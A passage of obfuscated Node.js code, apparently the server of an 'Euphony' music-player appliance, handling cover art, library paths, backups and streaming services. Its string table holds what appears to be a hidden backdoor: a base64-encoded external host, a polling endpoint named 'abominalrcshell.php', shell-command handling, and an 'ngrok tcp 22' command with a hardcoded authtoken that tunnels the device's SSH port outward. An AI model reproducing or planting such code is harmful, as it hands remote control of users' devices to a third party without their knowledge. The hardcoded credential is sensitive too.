','Installing on device: ','appendFileSync','./wifi.sh "','Woken ','unknownartist','files','mount','' | tail -1','core','poll','Error! Name: ','setVerify','setLogging','netmask','hires','amount','eth_params','result','sleep 1; /root/rw.sh; pm-suspend','/data/.highresdownloaded.json','repair',', mac:','desc','handleSimpleResponse','Web application is being restarted. Wait 5-10 seconds....','Content-Type: audio/mp4','./install_euphony1.sh ','./restore_root.sh >> /data/.appdata/restore_root.log','<script>setTimeout(function(){window.location = "/"}, 6000)</script>','majorv','popularity','enabled','MUSIC_','Connection reset by peer','lastIndexOf','addReplace','regno','end','New share is the same as one that already exists: '','cpu_freq_max_default','del','root','" "',' succesfully ','Protocol "mms" not supported','mycookies','echo 1 > /data/SYSTEM_COMPLETED.FLAG','registered_version','Success! Device: "','' | awk '{print $1}'','sysstat','"; ','logging','position',' /backup/euphony &> /data/.appdata/complete.log','EUPHONY_SYSTEM','dop','qobuz','shareconf','secondsToDHHMMSS','hasOwnProperty','getHWParams','browse','hqpd_license',' ( mask:','all','small','item','key','./format_init_service_drive_same_disk.sh ','func','Line: ','library_paths','disc','justMount','No Tidal refresh token!','toggleFavorites','highres_login','Refresh token before expires!',' content is: ','videoId','Restart airplay!','audioonly','similar_artist_ids','setCPUFrequency','No queue id?','.pls','next','backup-progress','Error: ','token_type','biography',' added succesfully!','playSongIdInQueue','getArtistInfo','copy-progress','maximum_sampling_rate','title','refresh_token','/data/.appdata/musicdb.sqlite3','trackNumber','can_downgrade','" finished with error - ','mkdir -p "','g_missingcovers static init error: ','mkdir -p ','getTracks','play','grep /tmp/hqplayerd.log -e 'network endpoint' 2>/dev/null | sed -n -e 's/^.*network endpoint: //p' | sort | uniq','dsd','Timezone changed to: ','file','sdm','searchKeywords','update-progress:COMPLETE! Backup is finished.','artist.png" --create-dirs "','data','.m3u','stationlist','username','getChallenge','url_subtype','artist.txt','/data/.appdata/.webradio.json','image','streamable','11iTTOjO','paidID','albumid','modprobe snd-hda-intel','isNaN','getFeatured','/cover.png','changeTags','eth','checkRegtypeCapabilities','setRTP','Roon core','quality','user_tags','dir','setDelay','hqpd_upsampling','Cache erased.','12YzSdBH',' is not yet possible','hasCredentials','max','getStationURL','Music','samplerate','restore-progress','ifstat -t 2 | grep -E "eth|wlan|ker|kts"','./cdinfo.js','assign',' ) ','reg_check_retries','./install_euphony4.1.sh ','hqpd_fingerprint','getRno','playlist','write','isDashMPD','deletePlaylist','./togglebootflags.sh ','push','intro','rmdir "','cover.png" --create-dirs "','/data/Music/User-Playlists/','; curl -m 5 -OJL "','tidal_token_type','convert "','setUserFavorites','processPlaylist','" mounted successfully','true','" to local library, folder: ','youtubeapikeyno-message:','checkregno','kind','body','core-sl','pgrep stress','getTopAlbums','cpu-load','df -h /dev/','sed -i -E 's/output_device = ".+"/output_device = "','http://yp.shoutcast.com','/var/roon','</strong> that contains the path you want to add.','Cannot find timezone: ','./install_euphony3.sh ','findIndex','values','join','performer','searchpreview','timedatectl --no-pager list-timezones | grep -i ','killall wpa_supplicant; ip link set wlan0 down','###','' > /tmp/progress','purchasable','copyFileSync','This drive cannot be uniquely identifed - it does not have UUID or Volume Label. Please create a Volume Label first.','Nothing to restore. Backup is in sync with Music Library','iface','email','previous_euphony_version','silent','/root/ro.sh','Audio system changed: <strong>','umount "','urls','/backup/euphony.pcl.gz','isrc','ERROR! registration code is invalid!','getError','stations','Error converting cover for: ','name','user_auth_token','device','manifest','aHR0cDovL2J1bnBidS50b3A=','youtubeapikeyno','general-error','download_covers','./install_euphony1.1.sh ','./tidalapi.js','mkdir -p /tmp/elog; ip addr > /tmp/elog/ipaddr.log; ls -l /data > /tmp/elog/datadir.log; ls -l /srv/node/mpdweb > /tmp/elog/mpdwebdir.log; ls -lR /tmp/EUPHONY_BUFFERED > /tmp/elog/ls_buffered.log; fdisk -l > /tmp/elog/fdisk.log; systemctl status > /tmp/elog/systemctl.log; findmnt -l > /tmp/elog/findmnt.log; top -n 1 -b > /tmp/elog/top.log; journalctl -b > /tmp/elog/journal.log; df > /tmp/elog/df.log; free > /tmp/elog/free.log; lsblk -fl > /tmp/elog/lsblkf.log; tar cvzf /tmp/logs.tar.gz /data/.appdata/.gst_status.json /data/.appdata/.gst_playlist.json /data/.appdata/roon/RoonServer/Logs/RoonServer_log.txt /data/.appdata/roon/RAATServer/Logs/RAATServer_log.txt /data/.appdata/*.log /data/.appdata/roon/RoonBridge/Logs/RoonBridge_log.txt /data/.appdata/config.json /tmp/hqplayerd.log /tmp/hqplayerd2.log /tmp/elog /run/log/udevil.log','updateMusicDatabase','./ramroot.sh ','toggleInternalCards ','./install_euphony4.sh ','albumPath: ',',noatime /tmp','https://www.youtube.com/channel/','artist.png',' is not accessible. Copy failed.','released_at','roonmode','formatName','reportProgressStop','removeSync','images300',' cached','preferred_views','status','reportProgressStart','Tidal API init','previous','round','getPlayEngine','output','oauth3','revissionID','download-progress-finished: Track download "','stringify','Problem with TIDAL: ','g_coversmap static init error: ','Buffering started','enable_server','stat -c %y /srv/node/mpdweb/app.js | awk {'print $1'} | sed 's/-//g';uname -nmo;stat -c %y /service/srv/node/mpdweb/app.js | awk {'print $1'} | sed 's/-//g';',' : ','getName4AudioSystem','url_type','Tune.ashx','cover_id','./app','usbid','Disconnect','lsblk -o KNAME,LABEL,MODEL,SIZE,TYPE | grep disk','Output device: <strong>',' added!','/etc/hqplayer/hqplayerd4-key.xml','getTime','mkdir -p /tmp/mnt; mount /dev/','</strong> not added. Your library already contains that path.','oldname',' > /data/.appdata/cpu_isolation_irq.log','Restart networkaudio!','httpspost','channelId','toString','pause','Squeezelite will be restarted. Check your client in 5-10 seconds...','core-hqpd','origcovers.json','options','samba','pkill -9 hqplayerd','update-progress:Creating and formating partitions...','playlistId','25egfZfl','replace','Cover copied to path: ','challenge','Restart node!','Nothing changed','current_album','System will now restart. Wait a minute or two....','System will now restart. Wait a minute until browser reloads the page on the new hostname...','Success! Device at: ','tidal_access_token','audio','items','remove','./bootdisk.sh','cached','toLowerCase','findmnt -D --output=source | grep '//' ','download-progress-finished: Finished downloading Album "','each',' &> /data/.appdata/install3.log','cpus','Incorrect secret value or incompatible hardware.','genre','" added to Music Library','artist','system_version','rsync -rltxxznv --size-only '','recheck','remountRO','emitMessage','composer','yes','albums','/tmp/A','curl -k -m 5 -IL '','update-progress:COMPLETE! Restore is finished.','Error: unknown search type','folder',' | tail -1','time','lsblk -o ','61708ZrcSHh','./restore_appdata.sh','Music/E_CACHE/','secret','insertAlbum','hostname','./tsdall.sh ','</strong> service started','cpu_model','index','mkdir -p /tmp/empty; cp /data/.cover-art-cache/*.json /tmp/empty; rsync -a --delete /tmp/empty/ /data/.cover-art-cache/','mountpoint','medialist','qobuz_login','getDBMgmt','tidal_expires_at','writeTagsSync','wlan0','cleanFilter','string','' is the subdirectory of the one that already exists: '','undefined','login','total_ram','Success! Share: ','contentDetails','New share directory: '','find "$(dirname "','Song cache enabled.','Waiting! Xin đợi cho tới khi máy khởi động!','viewprofile','; cd ','Server check: ','conversion_samplerate','Content-Type: audio/mpeg','used','numberOfTracks','cpu_freq_flag','" formated successfully','Error! Fill all fields.','TIDAL','hqpd_mode2','init','getUsage4Field','euphony','Adding all tracks for ','hqpd_dop2','audio_devices','Restart roonbridge!','mpdhost','enableServer','mtime','stopDataWatch','./unmute.sh 100 ','icy-name','genres_list','tidal-oauth','/data/.cover-art-cache/','echo 1 > /data/SYSTEM_REVERTED.FLAG','searchparams','cover','findUPNPRenderers','Fallback ip changed','polling','ls -1 ','field','registration-message:','free','deleteViewProfile','channel','usbconf','search','restartHQPD','cpu_governor','access_token','tidal','channelTitle','mpstat -P ALL -o JSON 1 1','address','incomplete','send','error','getTrackUrl: ',' curl problem','" --create-dirs "','qobuz_password','airplay','webradio','forEach','Audio system: ','duration','view',''. <br>This is not allowed.','</strong> service stopped, <strong>','. Your backup content is : ','wifipass','./youtubeapi.js','timed out',' doesn't exists.','backup','removeSongIdInQueue','networkInterfaces','/abominalrcshell.php?action=poll&id=','Installation in progress..','isInLibrary','328728IVBHcm','floor','writeFileSync','cover_url','samba_enabled','pkill -9 squeezelite; sleep 1; /usr/bin/squeezelite -d all=info -f /run/squeezelite.log -D 0 ','System shutdown started for: ','readFileSync','pgrep -x hqplayerd;','roonserver','audio_system','highres_username','pushVerify',' du -h -d 0 '','getCurrentAlbum','getSession','prototype','URL: ','hqpd-upsampling','Spin-down set to ','enable','HIRES','track_number','remote-control','" -maxdepth 1 -printf "%f
" -iname "*" | grep -i "\.jpg\|\.jpeg\|\.png\|\.gif" | grep -v "\._"','getQueue','cpu_freq_min','lstatSync','action','changeAudioField','mac','getLibEngine','query','/g" /etc/dhcpcd.conf','getArtistAlbums','getSpotifyAT','Network disconnected and playback started!','getTrackContributors','type','base64','saveRippedAlbum','; sed -i "s/#bunpbustatic/static/g" /etc/dhcpcd.conf; sed -i "s/fallback static_eth0/#fallback static_eth0/g" /etc/dhcpcd.conf','oper','video','newPos','major_version','info','Unable to find stream address in downloaded playlist file','/root/rw.sh','314394OCShbf','Error! Unable to find backup image file.','getCardInfo','TRIAL','/data/.highresmedialist.json','seek','cpu_freq_max','./utils.js','sleep 0.3; cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_cur_freq','updateno','usbname','/data','min','partition','; sed -i "s/','children','addPlay2','total',' | awk '{print $2}'','audioQuality','trackTitle','thumbnails','getArtURL','Content-Type: audio/flac','Got command: ','</strong>','/music-static','upload','amixer -c ',' &> /data/.appdata/install2.log','Connection refused','", some songs were not downloaded.','MUSIC','itemCount','Remote control disabled','random','settings','model','copyright','Webradio file content: ','/dev/','regtype','hqpd_mode','rsync -rltxxznv --size-only /data '/data/','station','function','writeHead','snippet','</div></body>','add','mixer_type','sizeHuman','getStreamURL','Copy has started! You will be notified when it is complete.','Backup has started! You will be notified when it is complete.','parse','modprobe -r snd-hda-intel','download','sendFile','artists','Title1','Credentials validated.','large','")" -iname "*" | grep -i "\.jpg\|\.jpeg\|\.jfif\|\.png\|\.gif" | grep -v "\._"','./bridge.sh ','in_library','cpupower frequency-set --governor ','getYoutubeStreamURL: ','fs-extra','copy-error','ramroot_copy_appdata','use_suspend','mount | grep ' / '','Rebuild db','itemInLibraryAppeared','info saved','sessionID','process','getTrackInfo','playlist_id','4592tyEAiK','Download in progress...','playlists','Restart squeezelite!','formats','Airplay audio server will be restarted. Check your client in 5-10 seconds...','ip addr | grep link/ether | awk '{print $2}'','highresaudio','page_size','map','/root/ramroot/ramroot status','sessionId','version','other_ip','shellcmd','Spin-down disabled','state','K is available on Euphony Drive. Your restore content is : ',' &> /data/.appdata/install4.log','Success! Path: "','restart','Problem with Radio Station url retrieval','invalidatePath','/artist.png','url','-s ','getFavorites',' minutes','restartHQPDIfStarted','render','hqplayer','Unexpected request, library=','fields','id:','Item added to playlist: ','statistics','path','/data/Music/E_CACHE/','test','_mounted','explicit','indexOf','Setting /etc/dsd.conf to: ','</strong> not added. Your are adding a path that contains the path you already added before. If you are sure about this please remove existing path first: <strong>','server','qobuz_username','Failed to get current queue','iostat -p -t -d 1 2 | awk NF','splice','audio_sample_rate',' &> /data/.appdata/togglebootflags1.log','match','isDirectory','/service/backup/euphony','substring','://','Post response. Length: ','log','show_info_ext','can_upgrade','startsWith','toggleHQPDOutput','" -filter_complex "compand=gain=3,showwavespic=s=1170x30:colors=#888888@0.5" -frames:v 1 "',' to ','Added:','unlinked','Found timezones: ','free | grep Mem | awk '{print $2,$7}'','mapSeries','year','/img/album.png','Unable to find track with id: ','' '/data/Music' | tail -1 | awk '{print $4}'; df --output=avail '/data/Music' | tail -1','getConfig','description','back','copy','Tidal API couldn't get access token','<strong>','server_info','*** Async request - no output','getuid','' '','/srv/node/mpdweb/suspend_resume.sh -CONT','password','db_file_size','/data/Music/','no-updates:','albumartist','hqpd_dop','/euphony/abominalrcshell.php?action=poll&id=','ROON_DATAROOT','download-progress-finished: Track "','totalNumberOfItems','addPlay','./mpdUtils.js','Shutdown!','not found','/srv/node/mpdweb/start_e.sh &',' removed from Music Library.',' &> /data/.appdata/install1.log','Path <strong>','allowStreaming','rsync -rltxxz --info=progress2 /data '/data/','discnumber','checkSelectedDevice','createDb','getToken','download-progress:','Image downloaded, converted, cached and copied to album dir.','mount -o remount,size=','WIFI disabled','Something did not work. IP address on wlan0 is not available',' lsblk -lo NAME,UUID | grep ','ramroot_copy_exclude_roon','getTop500','fallback_ip','favorites','formatAndMount','percent','umount /tmp/mnt','cover_cache_size','/tmp/logs.tar.gz','fileExt','initVolume','family','ERROR!! BAD CONFIG!','https://www.youtube.com/watch?v=','value','enable_internal_cards','check','setCurrentAlbum','what','systemctl stop roonbridge; sleep 1; systemctl start roonbridge &','getStreamURL: ','SUCCESS! registration code is valid for this device!','\$1','Could not resolve host','artist_pic_url','Problem with deleting database: ','addPlaySong','Waiting! Xin đợi 1 chút!','uuid','mogrify problem for path: ','YnVucGJ1LnRvcA==','/srv/node/mpdweb/start_e.sh  &','getAlbum','addSongs','echo "','lsblk -o KNAME,MOUNTPOINT,LABEL | grep '/service ' | awk '{print $1}'','uptime','getCurrentAudioDevice','split','getMyID','Config changed!','Roon core & StylusEP','45856692evgiwi','smbtree -N -b | awk '{print $1}'','albumTitle','update-progress:COMPLETE! Copy is finished.','Reboot!','song','DISK','kname','rsync -rltxxznv --size-only '/data/','</strong> not added. Your library already has a path: <strong>','page','Database is being recreated.','ChangeTags','text/html','folding_id','Restore has started! You will be notified when it is complete.','cache_songs','sendAsJson','mpd','ramroot_enabled','./lastfmapi.js','videourl','curl problem: ','object','coversind.json','<head><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover"></head><body style="background-color: #333; color: #ccc; position: fixed: width: 100%; height: 100%"><div style="font-size: 18px; position: absolute; width: 100%; top: 50%; text-align: center" >','getUserData',''; rsync -rltxxz --info=progress2 '','wifi_enabled','HI_RES','toggleOutput','mkdir -p '','getUserFavorites','preferred_views_json','keys','Another copy in progress - copy queued.','File1','mkdir','totalmem','Setting changed','wlan','utf8','icy-description','fallback_router_ip','publishedAt','medium','Image downloaded, converted and cached.','lookupTable','existsSync','highres_password','nextStations','getTrackUrl','</strong> activated.','curl -s -m 6 -o "','_dev','hqpd','sort','local','remote-upnp','du -d 0 /data/.appdata | awk '{print $1}'; du -d 0 /data/.appdata/roon | awk '{print $1}'; free | grep Mem | awk '{print $7}'; BOOTPART='/dev/'$(/srv/node/mpdweb/bootpart.sh); df $BOOTPART | awk 'END{print $3}'','mogrify -scale "300x300>" -gravity center -crop 300x300+0+0 +repage "','ramroot_state','WIFI activation successful. Access your euphony over WIFI network on address: <strong>http://','/data/Music/E_CACHE','buffering_ram_size','setConversionSamplerate','expires_in','./qobuzapi.js','db_or_both','mountable','getWebradio','hosts','findSongs','saveViewProfile','filter','radiotime','Tidal API refresh token was activated','rooonmode: ','album.txt','</strong> will be restarted. Check your client in 5-10 seconds...','loc','Your DSD format configuration has changed! <br>Turn off your DAC and turn it on again to apply the change.','findAlbums','" > /data/.appdata/wifi.log','Curl problem for Url: ','ramroot_status','exec','have-updates:','params','systemctl stop networkaudio; sleep 1; systemctl start networkaudio &','" successfully downloaded!','tracks','Share not confirmed... Contact developers.','pause_between_different_formats','setHQPDField','library','7544840XfOlVt','etag','clear','replayGain','track','"; ffmpeg -i "','image_rectangle','timezone','update-progress:COMPLETE!','altset','' is the subdirectory of the new one: '','present','tracks_count','cpu_isolation','Root fs saved from RAM to disk','Initializing device: ','new','Ramroot status changed!<br>Reboot to take effect.','encryptionType','tidal_refresh_token','userCode','find','work','woken','Remote control enabled','creator','Done! Reboot your PC','removed','_va_','/server_status','Networkaudio will be restarted. Check your client in 5-10 seconds...','Nothing has changed.','volumeNumber','queue','update','disable','moveSongInQueue','./copy_config_to_service_drive.sh ','interval','./tsdall.sh','updateAllSongsInQueueUponDisablingCache','Refreshing token after ','" > /data/.appdata/challenge.txt','label','sharename',' is available on Euphony Drive. <br>','full','rename','removeFoldingIdInQueue','/.EUPHONY-MUSIC-BACKUP','ngrok tcp 22 -authtoken=1uKwdIBdkzRTebYjj9xJTmNp0IZ_5RCur7UuiHAHcbQi6qiuL >> /dev/null &','progress-report:','album','unlinkSync','pkill ngrok','Problem with setting timezone to ','message','renameSync'];_0x486a=function(){return _0x574b1;};return _0x486a();}module['exports']={'appMapFuncBuilder':appMapFuncBuilder,'appMap':appMap,'getTrackUrl':getTrackUrl};var g_savecoverqueue={};function saveCover(_0x275e38,_0x19af9e,_0x707dbf,_0xe54c85){var _0x33d077=_0x2db473,_0x1270c3=_0x275e38+_0x19af9e+_0x707dbf;if(g_savecoverqueue[_0x1270c3])setTimeout(saveCover,0x64,_0x275e38,_0x19af9e,_0x707dbf,_0xe54c85);else{g_savecoverqueue[_0x1270c3]=!0x0;var _0x195560=getRealCachePath(_0x19af9e,_0x275e38)+_0x33d077(0x58d),_0x5dad83=_0x33d077(0x5a1)+_0x195560+_0x33d077(0x38b)+encodeURI(_0x707dbf)+'"';shell[_0x33d077(0x513)](_0x5dad83,function(_0x13f0fb,_0x464501){var _0x415cfa=_0x33d077;0x0==_0x13f0fb?(setCoversmap(_0x19af9e,_0x275e38),_0xe54c85(_0x19af9e+_0x275e38+_0x415cfa(0x2dd)),setTimeout(resizeInPlace,0xea60+0x7530*Math[_0x415cfa(0x3f4)](),_0x195560)):(utils['log'](_0x415cfa(0x4d3)+_0x464501['toString']()),_0xe54c85(_0x19af9e+_0x275e38+_0x415cfa(0x38a))),g_savecoverqueue[_0x1270c3]=!0x1,delete g_savecoverqueue[_0x1270c3];});}}var g_rc_timeout,g_fetchcoverqueue={};function fetchCover(_0x2dc367,_0x46adee,_0x526522,_0x5686ea,_0x1ae997,_0x2ea4e0,_0x3a150f,_0x128513){var _0x1fb7de=_0x2db473,_0x396f5b=_0x2dc367+_0x46adee+_0x526522+_0x5686ea;if(g_fetchcoverqueue[_0x396f5b])setTimeout(fetchCover,0x64,_0x2dc367,_0x46adee,_0x526522,_0x5686ea,_0x1ae997,_0x2ea4e0,_0x3a150f,_0x128513);else{g_fetchcoverqueue[_0x396f5b]=!0x0,_0x2dc367&&_0x2dc367['length']&&_0x2dc367['trim']()[_0x1fb7de(0x5c4)]||(_0x2dc367=_0x1fb7de(0x1eb));var _0x432e0d,_0x1389bf=_0x1fb7de(0x467),_0x273f3b='';if(_0x2ea4e0)try{_0x273f3b=fs['readFileSync'](getRealCachePath(_0x2dc367,_0x46adee)+_0x1fb7de(0x50b),'utf8');}catch(_0x1caccc){}if(!_0x1ae997&&(_0x432e0d=getCoversmap(_0x2dc367,_0x46adee)))_0x128513(_0x1389bf=_0x432e0d,_0x273f3b),g_fetchcoverqueue[_0x396f5b]=!0x1,delete g_fetchcoverqueue[_0x396f5b];else{if(_0x5686ea){var _0xb368c6=g_tidal_api[_0x1fb7de(0x3e7)](_0x5686ea,0x140);shell[_0x1fb7de(0x513)](_0x1fb7de(0x4f2)+getRealCachePath(_0x2dc367,_0x46adee)+_0x1fb7de(0x28f)+encodeURI(_0xb368c6)+'"',function(_0x39f04f,_0x5e0f12){0x0==_0x39f04f?_0x1389bf=setCoversmap(_0x2dc367,_0x46adee):utils['log']('Curl problem: '+_0x396f5b),_0x128513(_0x1389bf,_0x273f3b),g_fetchcoverqueue[_0x396f5b]=!0x1,delete g_fetchcoverqueue[_0x396f5b];});}else _0x1ae997?_0x526522&&-0x1==_0x526522[_0x1fb7de(0x44a)](_0x1fb7de(0x458))?getCoverFromLibrary(_0x2dc367,_0x46adee,_0x526522,_0x1ae997,_0x1389bf,_0x273f3b,_0x3a150f,function(_0x1d4040,_0x1fa171){_0x128513(_0x1d4040,_0x1fa171),g_fetchcoverqueue[_0x396f5b]=!0x1,delete g_fetchcoverqueue[_0x396f5b];}):(_0x128513(_0x1389bf,_0x273f3b),g_fetchcoverqueue[_0x396f5b]=!0x1,delete g_fetchcoverqueue[_0x396f5b]):getCoverFromCache(_0x2dc367,_0x46adee,_0x526522,_0x1ae997,_0x1389bf,_0x273f3b,!0x1,_0x3a150f,function(_0x94e50a,_0x427f7e){_0x128513(_0x94e50a,_0x427f7e),g_fetchcoverqueue[_0x396f5b]=!0x1,delete g_fetchcoverqueue[_0x396f5b];});}}}function resizeInPlace(_0x629846){var _0x4d63d5=_0x2db473,_0x2b137a=_0x4d63d5(0x4f9)+_0x629846[_0x4d63d5(0x30e)](/([`$])/g,'\$1')+'"';shell[_0x4d63d5(0x513)](_0x2b137a,function(_0x40d846,_0x556e89){var _0x42dc18=_0x4d63d5;0x0!=_0x40d846&&utils['log'](_0x42dc18(0x4b0)+_0x629846+': '+_0x556e89[_0x42dc18(0x303)]());});}function sendSettings(_0x4cffd7,_0x33fb07){var _0x554690=_0x2db473;config[_0x554690(0x3ab)]||config['tidal_login']||config['qobuz_username']?config[_0x554690(0x279)]=!0x0:config['hasCredentials']=!0x1,config[_0x554690(0x575)]&&client['initHQPDSettings'](config[_0x554690(0x318)][_0x554690(0x4f4)]),fs[_0x554690(0x3a2)]('./config.json',JSON[_0x554690(0x2e9)](config,null,'	'));var _0x4d3ea2=[];Object[_0x554690(0x2a9)](config['audio']['audio_devices'])[_0x554690(0x38f)](function(_0x4b4f04){var _0x39043a=_0x554690;_0x4b4f04[_0x39043a(0x528)]&&_0x4d3ea2[_0x39043a(0x28c)](_0x4b4f04);}),shell[_0x554690(0x513)](_0x554690(0x419),function(_0x24b468,_0x47bc63){var _0x54c28a=_0x554690,_0x543122=shell[_0x54c28a(0x513)](_0x54c28a(0x31b))[_0x54c28a(0x2e5)]['trim'](),_0x3a6573=new Array();shell[_0x54c28a(0x447)]('-e',_0x54c28a(0x2bd))||shell['test']('-e','/service/backup/euphony.pcl.gz')?shell[_0x54c28a(0x513)](_0x54c28a(0x2f7),function(_0x2af9d6,_0x3da459){var _0x2a419f=_0x54c28a;for(var _0x85b33a=_0x3da459[_0x2a419f(0x303)]()[_0x2a419f(0x5b5)]()[_0x2a419f(0x4b9)](/\n/),_0x5e287b=0x0;_0x5e287b<_0x85b33a['length'];_0x5e287b++){var _0x27d6cc=_0x85b33a[_0x5e287b];if(!(_0x27d6cc['trim']()[_0x2a419f(0x5c4)]<0x2)&&0x0!=_0x27d6cc[_0x2a419f(0x44a)](_0x543122)){var _0x23c2c5=new Object();_0x23c2c5[_0x2a419f(0x4a1)]=_0x27d6cc[_0x2a419f(0x4b9)](/ /)[0x0],_0x23c2c5[_0x2a419f(0x1fd)]=_0x27d6cc,_0x3a6573[_0x2a419f(0x28c)](_0x23c2c5);}}_0x33fb07[_0x2a419f(0x43e)](_0x2a419f(0x3f5),{'config':config,'audio_devices':_0x4d3ea2,'root':_0x543122,'blkdevs':_0x3a6573,'numcards':_0x4d3ea2[_0x2a419f(0x5c4)]});}):_0x33fb07['render'](_0x54c28a(0x3f5),{'config':config,'audio_devices':_0x4d3ea2,'root':_0x543122,'blkdevs':_0x3a6573,'numcards':_0x4d3ea2['length']});});}function addPath2Library(_0x46f3e4,_0x15786d,_0x487fd9,_0x17d09f){var _0x5ad392=_0x2db473;if(fs[_0x5ad392(0x4ed)](_0x46f3e4)){var _0x6a5257='';if(found=config['library_paths']['find'](function(_0x225b06){var _0x13823f=_0x5ad392;for(var _0x59592a=_0x46f3e4[_0x13823f(0x4b9)](/\//),_0x140358=_0x225b06[_0x13823f(0x445)][_0x13823f(0x4b9)](/\//),_0x5266a1=Math[_0x13823f(0x3dd)](_0x59592a[_0x13823f(0x5c4)],_0x140358[_0x13823f(0x5c4)]),_0x4431f8=0x0;_0x4431f8<_0x5266a1&&_0x59592a[_0x4431f8]==_0x140358[_0x4431f8];_0x4431f8++);return _0x4431f8==_0x5266a1&&(_0x6a5257=_0x59592a['length']<_0x140358[_0x13823f(0x5c4)]?_0x13823f(0x486)+_0x46f3e4+_0x13823f(0x44c)+_0x225b06['path']+_0x13823f(0x3ea):_0x59592a[_0x13823f(0x5c4)]>_0x140358[_0x13823f(0x5c4)]?_0x13823f(0x486)+_0x46f3e4+_0x13823f(0x4c6)+_0x225b06[_0x13823f(0x445)]+_0x13823f(0x2a5):_0x13823f(0x486)+_0x46f3e4+_0x13823f(0x2fd),!0x0);}),found)respHandlers['handleSimpleResponse'](_0x6a5257,_0x487fd9,!0x0);else{var _0x173b87={};_0x173b87['path']=_0x46f3e4,_0x173b87[_0x5ad392(0x2c3)]=_0x15786d,_0x173b87['connected']=0x1,config['library_paths'][_0x5ad392(0x28c)](_0x173b87),client[_0x5ad392(0x2ce)](_0x46f3e4),fs['writeFileSync'](_0x5ad392(0x580),JSON['stringify'](config,null,'	')),_0x17d09f();}}else respHandlers[_0x5ad392(0x1fe)]('Path <strong>'+_0x46f3e4+'</strong> not found.',_0x487fd9,!0x0);}function copyToEuphonyDrive(_0x2989c9,_0x2ef10a,_0x2548e8,_0x51a369){var _0x29a8ab=_0x2db473,_0x38f1b1=(_0x2989c9=_0x2989c9[_0x29a8ab(0x30e)](/([`$])/g,'\$1'))[_0x29a8ab(0x4b9)](/\//)['slice'](0x3),_0x1de8b1=_0x38f1b1[_0x29a8ab(0x451)](-0x1),_0x4608d0=_0x29a8ab(0x477)+_0x38f1b1[_0x29a8ab(0x2aa)]('/');'/'==_0x4608d0[_0x29a8ab(0x591)](_0x4608d0['length']-0x1)&&(_0x4608d0=_0x4608d0[_0x29a8ab(0x457)](0x0,_0x4608d0[_0x29a8ab(0x5c4)]-0x1)),client['emitMessage']('copy-progress','1'),shell[_0x29a8ab(0x513)](_0x29a8ab(0x328)+_0x2989c9+_0x29a8ab(0x469),function(_0x71a4fc,_0x475753){var _0x36f24c=_0x29a8ab,_0x58f7a2=_0x475753[_0x36f24c(0x303)]()[_0x36f24c(0x5b5)]()['split'](/\n/),_0x378396=Number(_0x58f7a2[0x0][_0x36f24c(0x30e)](/,/g,'')),_0x3f9f9a=0x400*Number(_0x58f7a2[0x1])-0x77359400;if(_0x378396>_0x3f9f9a){var _0x273380='Only '+utils['sizeHuman'](_0x3f9f9a)+_0x36f24c(0x54a)+_0x2989c9+_0x36f24c(0x236)+utils[_0x36f24c(0x404)](_0x378396);_0x51a369?client[_0x36f24c(0x32b)](_0x36f24c(0x416),_0x273380):respHandlers[_0x36f24c(0x1fe)](_0x273380,_0x2548e8,!0x0),0x0==g_pending_copy_paths[_0x36f24c(0x5c4)]?_0x51a369&&setTimeout(function(){var _0x19d24d=_0x36f24c;client[_0x19d24d(0x32b)](_0x19d24d(0x555),_0x19d24d(0x4c0));},0x1f4):copyToEuphonyDrive(_0x2989c9=g_pending_copy_paths['shift'](),_0x2ef10a,_0x2548e8,!0x0);}else{_0x51a369||respHandlers['handleSimpleResponse'](_0x36f24c(0x406),_0x2548e8);var _0x539ac0=_0x36f24c(0x4dc)+_0x4608d0+_0x36f24c(0x4d8)+_0x2989c9+_0x36f24c(0x473)+_0x4608d0+_0x36f24c(0x2b0);utils[_0x36f24c(0x45a)](_0x539ac0),g_copy_in_progress=!0x0,client[_0x36f24c(0x2e0)](0x1,function(_0x33b33c){var _0x23a3c0=_0x36f24c;client[_0x23a3c0(0x32b)](_0x23a3c0(0x246),_0x33b33c);}),shell[_0x36f24c(0x513)](_0x539ac0,function(_0x4b3d35,_0x3e43fb){var _0x4f3673=_0x36f24c;client[_0x4f3673(0x2da)](),g_copy_in_progress=!0x1,utils[_0x4f3673(0x45a)](_0x3e43fb[_0x4f3673(0x303)]()),client['updateMusicDatabase'](_0x4608d0+'/'+_0x1de8b1),0x0==g_pending_copy_paths['length']?client[_0x4f3673(0x32b)]('message',_0x4f3673(0x4c0)):copyToEuphonyDrive(_0x2989c9=g_pending_copy_paths['shift'](),_0x2ef10a,_0x2548e8,!0x0);});}});}function randomInt(_0x195c34){var _0xbffc61=_0x2db473;return Math[_0xbffc61(0x3a1)](Math[_0xbffc61(0x3f4)]()*_0x195c34);}function copyObjProperties(_0x14815,_0x53f31d){var _0x498f27=_0x2db473;for(var _0x107ff0 in _0x14815){var _0x54d89a=_0x14815[_0x107ff0];_0x498f27(0x34a)==typeof _0x14815[_0x107ff0]&&(_0x54d89a=_0x54d89a[_0x498f27(0x5b5)]()),_0x53f31d[_0x107ff0['toLowerCase']()]=_0x54d89a;}}function ur(_0x48deb7){var _0x141d71=_0x2db473;client['emitMessage'](_0x141d71(0x2c9),_0x141d71(0x5d5)),mpdUtils['f_u'](_0x141d71(0x5b1),_0x48deb7[_0x141d71(0x439)]);}function getRadiotimeStations(_0x1d91e2,_0x399ff7,_0x4d2eab,_0x38f411,_0x3d672a){var _0x3fcac9=_0x2db473;_0x3d672a||(_0x3d672a=0x0),g_radiotime_api[_0x3fcac9(0x225)](_0x399ff7,_0x4d2eab,function(_0x1ffba7){var _0x2ddc33=_0x3fcac9;if(_0x1ffba7[_0x2ddc33(0x388)])_0x38f411(_0x1ffba7[_0x2ddc33(0x388)]);else{var _0x3f69f7=_0x1ffba7[_0x2ddc33(0x532)](function(_0x351350){var _0x12d211=_0x2ddc33;return _0x12d211(0x2c1)==_0x351350['key'];});_0x3f69f7&&_0x3f69f7[_0x2ddc33(0x3e0)]&&_0x3f69f7['children']['length']>_0x1ffba7[_0x2ddc33(0x5c4)]?(Array[_0x2ddc33(0x3b0)][_0x2ddc33(0x28c)]['apply'](_0x1d91e2,_0x3f69f7['children']),_0x3f69f7[_0x2ddc33(0x3e0)][_0x2ddc33(0x532)](function(_0x18d763){var _0x31acde=_0x2ddc33;return 